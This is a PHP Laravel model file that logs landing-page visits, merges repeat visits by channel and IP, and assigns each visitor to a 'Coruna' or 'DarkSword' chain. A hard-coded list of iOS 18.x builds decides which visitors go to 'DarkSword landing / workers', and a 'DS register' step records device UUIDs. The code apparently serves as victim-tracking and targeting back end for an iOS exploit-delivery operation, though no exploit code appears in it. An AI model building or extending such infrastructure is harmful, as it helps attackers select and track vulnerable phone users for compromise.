<?php

namespace App\Models;

use App\Support\CfIpCountry;
use Illuminate\Database\Eloquent\Model;

class PageVisit extends Model
{
    public $timestamps = false;

    public const CHAIN_CORUNA = 0;

    public const CHAIN_DARKSWORD = 1;

    protected $fillable = [
        'channel_id',
        'client_uid',
        'chain',
        'session_id',
        'user_agent',
        'os',
        'os_version',
        'browser',
        'browser_version',
        'ip',
        'country',
        'domain',
        'referer',
        'created_at',
    ];

    protected function casts(): array
    {
        return [
            'chain' => 'integer',
            'created_at' => 'datetime',
        ];
    }

    public static function chainLabel(int $chain): string
    {
        return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
    }

    /** Only these iOS builds enter the DarkSword landing / workers. */
    public const DARKSWORD_IOS_VERSIONS = [
        '18.1.1', '18.4', '18.4.1',
        '18.5', '18.6', '18.6.1', '18.6.2',
        '18.7', '18.7.1', '18.7.2',
    ];

    /**
     * t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna.
     */
    public static function chainFromIosVersion(?string $os, ?string $osVersion): int
    {
        if (! in_array($os, ['iOS', 'iPadOS'], true)) {
            return self::CHAIN_CORUNA;
        }

        return self::isDarkSwordIosVersionString($osVersion)
            ? self::CHAIN_DARKSWORD
            : self::CHAIN_CORUNA;
    }

    public static function isDarkSwordIosVersionString(?string $osVersion): bool
    {
        $canon = self::canonicalIosVersion($osVersion);

        return $canon !== '' && in_array($canon, self::DARKSWORD_IOS_VERSIONS, true);
    }

    /**
     * 18.5 / 18.5.0 → 18.5; 18.6.1 stays 18.6.1.
     */
    public static function canonicalIosVersion(?string $osVersion): string
    {
        $version = trim((string) $osVersion);
        if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) {
            return '';
        }
        $parts = array_pad(array_map('intval', explode('.', $version)), 3, 0);

        return $parts[2] === 0
            ? $parts[0].'.'.$parts[1]
            : $parts[0].'.'.$parts[1].'.'.$parts[2];
    }

    public static function normalizeDomain(?string $value): ?string
    {
        $value = trim((string) $value);
        if ($value === '') {
            return null;
        }
        $value = preg_replace('#^https?://#i', '', $value) ?? $value;
        $value = explode('/', $value, 2)[0];
        $value = strtolower(rtrim($value));
        if ($value === '' || ! str_contains($value, '.')) {
            return null;
        }

        return substr($value, 0, 255);
    }

    public const VISITOR_UID_LENGTH = 16;

    public const LANDING_MERGE_SECONDS = 60;

    /**
     * One landing = one row. t.js and DS register share this so the same
     * channel+IP within {@see LANDING_MERGE_SECONDS} is merged, not doubled.
     * DarkSword wins on chain; register may replace client_uid with the device UUID.
     *
     * @param  array<string, mixed>  $attrs
     */
    public static function recordLanding(array $attrs, int $chain): self
    {
        $channel = (string) ($attrs['channel_id'] ?? '');
        $ip = self::normalizeIp(isset($attrs['ip']) ? (string) $attrs['ip'] : null);
        $existing = null;
        if ($channel !== '' && $ip !== '') {
            $existing = static::query()
                ->where('channel_id', $channel)
                ->whereIn('ip', self::ipLookupKeys($ip))
                ->where('created_at', '>=', now()->subSeconds(self::LANDING_MERGE_SECONDS))
                ->orderByDesc('id')
                ->first();
        }

        if ($existing) {
            $updates = [];
            if ($chain === self::CHAIN_DARKSWORD && (int) $existing->chain !== self::CHAIN_DARKSWORD) {
                $updates['chain'] = self::CHAIN_DARKSWORD;
            }
            if ($chain === self::CHAIN_DARKSWORD) {
                $uid = trim((string) ($attrs['client_uid'] ?? ''));
                if ($uid !== '' && $uid !== (string) $existing->client_uid) {
                    $updates['client_uid'] = substr($uid, 0, 64);
                }
            }
            $incomingCountry = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null);
            if ($incomingCountry && trim((string) ($existing->country ?? '')) === '') {
                $updates['country'] = $incomingCountry;
            }
            foreach (['user_agent', 'os', 'os_version', 'browser', 'browser_version', 'domain', 'referer'] as $field) {
                $incoming = $attrs[$field] ?? null;
                if (! is_string($incoming) || trim($incoming) === '') {
                    continue;
                }
                $incoming = trim($incoming);
                $current = trim((string) ($existing->{$field} ?? ''));
                if ($current === '' || ($field === 'os_version' && $chain === self::CHAIN_DARKSWORD)) {
                    $updates[$field] = $incoming;
                }
            }
            if ($updates !== []) {
                $existing->fill($updates)->save();
            }

            return $existing;
        }

        $attrs['chain'] = $chain;
        $attrs['created_at'] = $attrs['created_at'] ?? now();
        $attrs['country'] = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null);

        return static::query()->create($attrs);
    }

    /**
     * Stable visitor id: same domain+ip always yields the same 16-hex value.
     */
    public static function visitorUid(?string $domain, ?string $ip): string
    {
        $domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain));
        $ipKey = self::normalizeIp($ip);

        return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH);
    }

    /**
     * Unwrap IPv4-mapped IPv6 (`::ffff:1.2.3.4` → `1.2.3.4`) and canonicalize.
     */
    public static function normalizeIp(?string $ip): string
    {
        $ip = strtolower(trim((string) $ip));
        if ($ip === '') {
            return '';
        }
        if (str_starts_with($ip, '::ffff:')) {
            $mapped = substr($ip, 7);
            if (filter_var($mapped, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
                return $mapped;
            }
        }
        $packed = filter_var($ip, FILTER_VALIDATE_IP) ? inet_pton($ip) : false;
        if ($packed !== false) {
            $canon = inet_ntop($packed);
            if (is_string($canon) && $canon !== '') {
                return strtolower($canon);
            }
        }

        return $ip;
    }

    /**
     * @return list<string>
     */
    public static function ipLookupKeys(?string $ip): array
    {
        $norm = self::normalizeIp($ip);
        if ($norm === '') {
            return [];
        }
        $keys = [$norm];
        if (filter_var($norm, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
            $keys[] = '::ffff:'.$norm;
        }

        return array_values(array_unique($keys));
    }
}